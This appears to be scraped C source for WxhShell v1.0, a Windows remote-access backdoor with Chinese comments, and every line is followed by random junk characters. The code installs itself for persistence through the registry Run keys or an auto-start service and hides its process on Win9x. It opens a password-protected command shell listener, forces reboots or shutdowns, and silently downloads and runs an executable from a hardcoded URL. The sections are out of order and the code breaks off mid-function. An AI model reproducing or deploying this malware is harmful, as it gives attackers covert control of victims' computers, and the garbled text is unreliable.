ULONG InheritedFromUniqueProcessId; 6WCmp,*
} PROCESS_BASIC_INFORMATION; KdS
eCeddW
frk7^5
PROCNTQSIP NtQueryInformationProcess; 8QPT\~
oNrEIgaA(+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [gTQ-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }3Df]
^]KIgGv\
HANDLE hProcess; V_ {vZ/0e
PROCESS_BASIC_INFORMATION pbi; 0U9+
s%FP6u7[i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E]1\iV
if(NULL == hInst ) return 0; MyK^i2eD
-Zttj /K
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G|<] Ma9x
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |F3vRt@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kA1f[AL
2c!h2$w
if (!NtQueryInformationProcess) return 0; T27:"LVw
XlE$.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (=6P]~,
if(!hProcess) return 0; aYqqq|
$Gr4sh!cE
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 32TP Mk
d5N)^\z
CloseHandle(hProcess); ;&/sj-xJ2
[))gn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aS3P(s L
if(hProcess==NULL) return 0; :17ee
$0ym_6n
HMODULE hMod; BYTXAZLb
char procName[255]; 1VRqz5
unsigned long cbNeeded; [B.W1 GL!
pq%t@j(X
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y-D>xV)n
kOo>Iy
CloseHandle(hProcess); -t;?P2
\CP*i_:"
if(strstr(procName,"services")) return 1; // 以服务启动 Oz_b3r
39'X$!
return 0; // 注册表启动 7)g;Wd+H
} Iwnj'R7:
`#-p,NElV
// 主模块 -Pv P
int StartWxhshell(LPSTR lpCmdLine) IEKMa
{ C!CaGf=
SOCKET wsl; Fmy1nZ
BOOL val=TRUE; O8!!UA8V
int port=0; l#mqV@?A~
struct sockaddr_in door; JDIz28 Ww
VGq{y{(
if(wscfg.ws_autoins) Install(); Ir'DA_..
*Cc$eR]-
port=atoi(lpCmdLine); O e0KAn
OJh+[bf"
if(port<=0) port=wscfg.ws_port; w@<<zItSo
EU`'
8*4
WSADATA data; \"<GL;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yQ72v'
D'U\]'.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }xpe
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g)2m$#T&s
door.sin_family = AF_INET; Fj[ dO&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3JwSgc b
door.sin_port = htons(port); t[L2'J.5
UMnR=~.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3<V.6'*k
closesocket(wsl); %D%e:se
return 1; 853]CK<
} +_vm\]4
pO-)x:Wg
if(listen(wsl,2) == INVALID_SOCKET) { gDUoc*+h
closesocket(wsl); s (l+{b &
return 1; tSw~_s_V
} >2!^ dT^D
Wxhshell(wsl); 3|z;K,`Fw
WSACleanup(); XFLjVrX[
:Kt{t46)
return 0; *,Aa9wa{
fSgGQ
D4
} 0
/D5
IJL^dXCu
// 以NT服务方式启动 [kU[}FT
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gwkZk-f\p
{ S1 R #]
DWORD status = 0; '6Rs0__
DWORD specificError = 0xfffffff; z.Ve#~\
q[We][Nrzb
serviceStatus.dwServiceType = SERVICE_WIN32; 2=/-d$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; zmrX%!CW
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &**.naSo
serviceStatus.dwWin32ExitCode = 0; i&AXPq>`
serviceStatus.dwServiceSpecificExitCode = 0; jb6ZAT<8
serviceStatus.dwCheckPoint = 0; 06j)P6Iju
serviceStatus.dwWaitHint = 0; dqK
\Ho#[k=y*/
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }b\ipA,~
if (hServiceStatusHandle==0) return; *(_ON$+3
-h.3M0
status = GetLastError(); t 's5~
if (status!=NO_ERROR) /eI,]CB'z
{ ]J0Y^dM
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^O,6(@>
serviceStatus.dwCheckPoint = 0; sIQMUC[!
serviceStatus.dwWaitHint = 0; 0Zp<=\!;
serviceStatus.dwWin32ExitCode = status;
.*clY
serviceStatus.dwServiceSpecificExitCode = specificError; 42H#n]Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -qr:c9\px
return; >u%[J!Y;;
} eN7yjd'Y6
+LU ).
serviceStatus.dwCurrentState = SERVICE_RUNNING; 07E".T%Ts
serviceStatus.dwCheckPoint = 0; UVvt&=+4
serviceStatus.dwWaitHint = 0; _s=Pk[e
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZS
7)(j$.
} YpbdScz
,m_&eF
// 处理NT服务事件,比如:启动、停止 &Funao>
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,YzC)(-
{ !'UsC6Y4
switch(fdwControl) Iclan\q#y
{ 'TEwU0<%
case SERVICE_CONTROL_STOP: .Jnp{Tet
serviceStatus.dwWin32ExitCode = 0; 3k|~tVM
serviceStatus.dwCurrentState = SERVICE_STOPPED; PhaQ3%
serviceStatus.dwCheckPoint = 0; %.r5E2'
serviceStatus.dwWaitHint = 0; DrYoC7
{ 9Y*Vz QE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kA->xjk
} =V4_DJ(&
return; TQyFF/K
case SERVICE_CONTROL_PAUSE: wNlV_
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1OJD\wc
break; MYW 4@#
case SERVICE_CONTROL_CONTINUE: Wg3WE1V
serviceStatus.dwCurrentState = SERVICE_RUNNING; I(r5\A=
break; U#^:f7-$.
case SERVICE_CONTROL_INTERROGATE: 6!Ap;O^*
break; {:q9:
}; h;h,dx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %nK15(
} x[,wJzp\6
0.,&B5)
// 标准应用程序主函数 ,t,65@3+b
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c`[uQXv
{ &JzF
g960;waz3
// 获取操作系统版本 >w2WyYJYH
OsIsNt=GetOsVer(); )6S}O*
1
GetModuleFileName(NULL,ExeFile,MAX_PATH); X0J]6|du.
[/`Hz]R
// 从命令行安装 0}3'h#33=
if(strpbrk(lpCmdLine,"iI")) Install(); ;$&5I9N
-O q=J;
// 下载执行文件 Q,+*u%/u
if(wscfg.ws_downexe) { iZqFVr&JF
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F1]PYx$X
WinExec(wscfg.ws_filenam,SW_HIDE); XzwQ,+IAr
} AG!a=ufc0
L,ey3i7a\
if(!OsIsNt) { %>}7$Y%
// 如果时win9x,隐藏进程并且设置为注册表启动 >]N0w
HideProc(); )ejqE6'[
StartWxhshell(lpCmdLine); 9w<_XXQ
} u~Cqdr5
\l
else \:^n-D*fX
if(StartFromService()) `v+O5
// 以服务方式启动 5m;wMW<
StartServiceCtrlDispatcher(DispatchTable); M L_J<|,J
else ZQ8Aak
// 普通方式启动 uy%PTi+A
StartWxhshell(lpCmdLine); B_G7F[/K
FnU;n
return 0; {oC69n:
} #SUq.A
3W
WxpTU
eWs^[^c.<
mT$tAwzTC{
=========================================== :Fk&2WsW:
U?C{.@#w
-$p-o
Z)
$f\-.7OD
r+yLK(<zp
d$
7b
" +N!{(R:"v}
No+zw% l0E
#include <stdio.h> q/zdd3a
#include <string.h> f%l#g ]]
#include <windows.h> o8"xoXK5xf
#include <winsock2.h> @~HD<K
#include <winsvc.h> F`3As 9b:
#include <urlmon.h> ^ 9E(8DD
4h(Hy&1C
#pragma comment (lib, "Ws2_32.lib") (q7mzZY
#pragma comment (lib, "urlmon.lib") #d(r^U#I
=V4!t|(7
#define MAX_USER 100 // 最大客户端连接数 k$/].P*!
#define BUF_SOCK 200 // sock buffer |-<L :%
#define KEY_BUFF 255 // 输入 buffer #nz$RJsX
)I9(WVx!]
#define REBOOT 0 // 重启 &GAx*.L
#define SHUTDOWN 1 // 关机 zvj\n9H
aKO@_R,:
#define DEF_PORT 5000 // 监听端口 BO|Jrr>
64@s|m*
#define REG_LEN 16 // 注册表键长度 9x\G(w
#define SVC_LEN 80 // NT服务名长度 .(ir2g
1C{n\_hR
// 从dll定义API i&KODhMpP
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UQ?8dw:E~
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sjGZ
,?%
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v2Y=vr
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RCr:2
Iz
m~A/.t%=
// wxhshell配置信息 2}-W@R
struct WSCFG { PHkvt!uH
int ws_port; // 监听端口 V"XN(Fd^
char ws_passstr[REG_LEN]; // 口令 5**xU+&
int ws_autoins; // 安装标记, 1=yes 0=no AH+J:8k
char ws_regname[REG_LEN]; // 注册表键名 TrW3@@}j
char ws_svcname[REG_LEN]; // 服务名 U$}]zaB
char ws_svcdisp[SVC_LEN]; // 服务显示名 2_C.-;!
char ws_svcdesc[SVC_LEN]; // 服务描述信息 -u{:39y{n
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z "u/8
int ws_downexe; // 下载执行标记, 1=yes 0=no 8*X8U:.0o
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VTU-'q
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "]<Ut{Xb
)C[8#Q-:
}; v)06`G
w# ['{GL
// default Wxhshell configuration aryr
struct WSCFG wscfg={DEF_PORT, ak zb<aT
"xuhuanlingzhe", ]3G2mY;`"%
1, t@\0$V
\X
"Wxhshell", d
{4br
"Wxhshell", =z+zg^wsT
"WxhShell Service", OB%y'mo7]
"Wrsky Windows CmdShell Service", fi1UUJ0
U;
"Please Input Your Password: ", -c
tZ9+LL
1, 'E9jv4E$n
"http://www.wrsky.com/wxhshell.exe", i \~4W$4I
"Wxhshell.exe" ;FUd.vg{
}; R0>L[1o
Y`wi=(
// 消息定义模块 8Vx'sJ>r4
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _z;N|Xe
char *msg_ws_prompt="\n\r? for help\n\r#>"; yI!K
quMC
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [M.Vu
char *msg_ws_ext="\n\rExit."; y=CemJ[~
char *msg_ws_end="\n\rQuit."; H:`r!5&Qb5
char *msg_ws_boot="\n\rReboot..."; ` WVQp"m
char *msg_ws_poff="\n\rShutdown..."; AbB%osz}Ed
char *msg_ws_down="\n\rSave to "; _<8n]0lX3
Cpl\}Qn
char *msg_ws_err="\n\rErr!"; "(5M }5D
char *msg_ws_ok="\n\rOK!"; <H.Ml>q:r
:mij%nQ>$
char ExeFile[MAX_PATH]; : v]< h
int nUser = 0; IzG7!K
HANDLE handles[MAX_USER]; n%Fa;!S
int OsIsNt; B,676~I
~o+u: ]
SERVICE_STATUS serviceStatus; ;fuy}q8@7
SERVICE_STATUS_HANDLE hServiceStatusHandle; rl4-nA
h
/on
// 函数声明 B|8(}Ciqx
int Install(void); !!9V0[
int Uninstall(void); R
+k\)_F
int DownloadFile(char *sURL, SOCKET wsh); ^'}Td~(
int Boot(int flag); MSA*XDnN
void HideProc(void); PpbW+}aCF
int GetOsVer(void); bz@4obRqf
int Wxhshell(SOCKET wsl); 7%X$6N-X
void TalkWithClient(void *cs); #/n\C
int CmdShell(SOCKET sock); |XQ!xFB
int StartFromService(void); '1d-N[
int StartWxhshell(LPSTR lpCmdLine); P/27+5(|
!=a8^CV
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $
_ gMJ\{
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wJ{M&n1H
X{)M}WO+r
// 数据结构和表定义 46*?hA7@r(
SERVICE_TABLE_ENTRY DispatchTable[] = bH&[O`vf
{ ^CX~>j\(
{wscfg.ws_svcname, NTServiceMain}, c1c0b|B!U
{NULL, NULL} 6 ,k}v:
}; 2lQ'rnqS)
{1FYHM^
// 自我安装 7[Y<5T]
int Install(void) x;ujR<
{ yHCBf)N7\
char svExeFile[MAX_PATH]; hF6EOCY6D
HKEY key; Q|:\
strcpy(svExeFile,ExeFile); GX\/2P7CZ
pmfyvkLS
// 如果是win9x系统,修改注册表设为自启动 fuQ?@F
if(!OsIsNt) { N~SG=\rP;o
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BVG 3 T
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *K!V$8k=99
RegCloseKey(key); dw'%1g.113
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kg9REL@,s
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]U]{5AA6
RegCloseKey(key); <UeO+M(
return 0; \ B<(9
} lepgmQ|oY
} d!!5'/tmS
} K5b8lc
else { X=-pNwO
"#(]{MY
// 如果是NT以上系统,安装为系统服务 IS"UBJ6p
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yk[yG;W
if (schSCManager!=0) 9;kWuP>k4u
{ 'R= r9_%
SC_HANDLE schService = CreateService -]HO8}-Rjs
( !<@Zf4m
schSCManager, 6:J @
wscfg.ws_svcname, xj(&EGY:
wscfg.ws_svcdisp, \#
SERVICE_ALL_ACCESS, 5WY..60K,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A\gj\&B0"
SERVICE_AUTO_START, aHS.U^2
SERVICE_ERROR_NORMAL, 6dV92:
svExeFile, Es1Yx\/:
NULL, }wz )"
NULL, zS]Yd9;X1
NULL, B$aboL2
NULL,
!1;DRF
NULL )N<>L/R
); g;Bq#/w
if (schService!=0) #NwlKZ-
{ Sw>AgES
CloseServiceHandle(schService); zAS&L%^ tV
CloseServiceHandle(schSCManager); Gb\}e}TB[
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p<tj6O
strcat(svExeFile,wscfg.ws_svcname); G
?H`9*y
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OP{ d(~+
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -&y{8<bu4H
RegCloseKey(key); ]Ocf %(
return 0; a'rN&*P
} ^!!@O91T
} -TSn_XE
CloseServiceHandle(schSCManager); &$|k<{j[<f
} Cj,fP[p#7
} YB.r-c"Y
ZmU S}
return 1; hI]KT a
} =k'3rm*ld
aV,>y"S
// 自我卸载 c"v#d9
int Uninstall(void) Kmk<
{ JmtU>2z\
HKEY key; w*OZ1|
D\bW' k]!
if(!OsIsNt) { i` n,{{x&4
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rV54-K;`0
RegDeleteValue(key,wscfg.ws_regname); ySL 31%
RegCloseKey(key); 7{2knm^
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +3!um
RegDeleteValue(key,wscfg.ws_regname); `dx+Qp
RegCloseKey(key); JO1KkIV
return 0; :TxfkicN\
} mM&H;W
} 8S&`
} JIQS'r
else { FD,M.kbg
/k l0(='
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \M'b%
if (schSCManager!=0) J+kxb"#d
{ ;a[56W
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !i2=zlpb[
if (schService!=0)
3_+-t5
{ K3M<%
if(DeleteService(schService)!=0) { 0,{Dw9W:
CloseServiceHandle(schService); j"7 z
CloseServiceHandle(schSCManager); L Lm{:T7
return 0; w%g@X6
} OXK?R\ E+
CloseServiceHandle(schService); cL7je
} p9y
"0A|
CloseServiceHandle(schSCManager); {|O8)bW'
} YO|Kc
{j2e
} %
Lhpj[C
r*OSEzGUz
return 1; y9?B vPp+
} 7AX<>^
/xWkP{
// 从指定url下载文件 jxm.x[1ki^
int DownloadFile(char *sURL, SOCKET wsh) g~S>_~WL
{ eo24I0`N
HRESULT hr; k*\WzBTd
char seps[]= "/"; != _:*U)-'
char *token; x}?y@.sn8
char *file; cO.U*UTmX
char myURL[MAX_PATH]; y4t M0h
char myFILE[MAX_PATH]; c 5+oP j
Kzb&aOw
strcpy(myURL,sURL); J$%mG*Y(
token=strtok(myURL,seps); yNoJrA
while(token!=NULL) +^iUY%pm
{ U"v(9m@
file=token; No=Ig-It
token=strtok(NULL,seps); G^ZL,{
} zQMsS
k"uqso/
GetCurrentDirectory(MAX_PATH,myFILE); C7dy{:y`
strcat(myFILE, "\\"); ]8NNxaE3 (
strcat(myFILE, file); !k)}p_e
send(wsh,myFILE,strlen(myFILE),0); ;XMbjWc
send(wsh,"...",3,0); Zrr3='^s
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mqrP0/sN
if(hr==S_OK) Q.*qU,4);
return 0; MRwls@z=
else <x,u!}5J
return 1; d+[yW7%J
Cg?D<l4
} |"8Az0[!
w}c1zpa
// 系统电源模块 Ol`/r@s
int Boot(int flag) hPE#l?H@A
{ 'ejuzE9
HANDLE hToken; r /63
TOKEN_PRIVILEGES tkp; [
dpd-s
R]VY
PNns
if(OsIsNt) { ,A[40SZA
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (C={/waJ
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .]6_
tkp.PrivilegeCount = 1; `C%,Nj
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; : ~"^st_[!
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =QHW>v
if(flag==REBOOT) { p+SFeUp
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }{[H@uhjH
return 0; FbO-K-
} $Q{)AN;m
else { 8>RGmue
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {mY<R`Ee
return 0; c9/w-u~j
} *v)JX _
} Q6@}t&k4C
else { R"Nvnpm
if(flag==REBOOT) { =unMgX]$
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <6Q]FH!6
return 0; L MC-1
} y8HLrBTza
else { >d!w&0z>
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O+%Y1=S[WQ
return 0; %Qgo0
} ^N#kW-i
} }00mJ]H(
7Te`#"
return 1; v%n'_2J =^
} M` Jj!
SL" ;\[uI
// win9x进程隐藏模块 -|B?pR
void HideProc(void) -l8n0P1+
{ tuo'4%]i
&&4av*\I
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2hdi)C,7Y
if ( hKernel != NULL ) O Ul+es
{ M,"4r^%k
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9a 9<I
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eUPG){"
FreeLibrary(hKernel); '31pb9@fH
} jv>l6)
E@^`B9;Q7
return; o\vIYQ
} U~-Z`_@^-
rQg7r>%Q
// 获取操作系统版本 <&\HXAOd
int GetOsVer(void) 1,=U^W.G
{ 7D\#1h
OSVERSIONINFO winfo; <Z{\3X^
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]IMBRZQqb
GetVersionEx(&winfo); fqZqPcT0
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hAi50q;z
return 1; )[yM4QFl
else u6IEBYG ((
return 0; \!j{&cJ
} S9d+#6rn
gm~Ka%O|F
// 客户端句柄模块 NX&mEz
int Wxhshell(SOCKET wsl) km,}7^?F0r
{ mV^+`GWvo
SOCKET wsh; I$xfCu
struct sockaddr_in client; G`!#k!&r
DWORD myID; jG)fM?
mj=$[y(
while(nUser<MAX_USER) PeEf=3
{ :]iV*zo_
int nSize=sizeof(client); *i|O!h1St
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NlXHOUw)u
if(wsh==INVALID_SOCKET) return 1; x!fvSoHp
KywDp 37^
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); " NnUu8x
if(handles[nUser]==0) H8.U#%
closesocket(wsh); u:tLO3VfJ
else b<};"H0a
nUser++; \_}Y4
} Qc#<RbLL
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ba& \~_4
pE@Q
(9`b{
return 0; F?&n5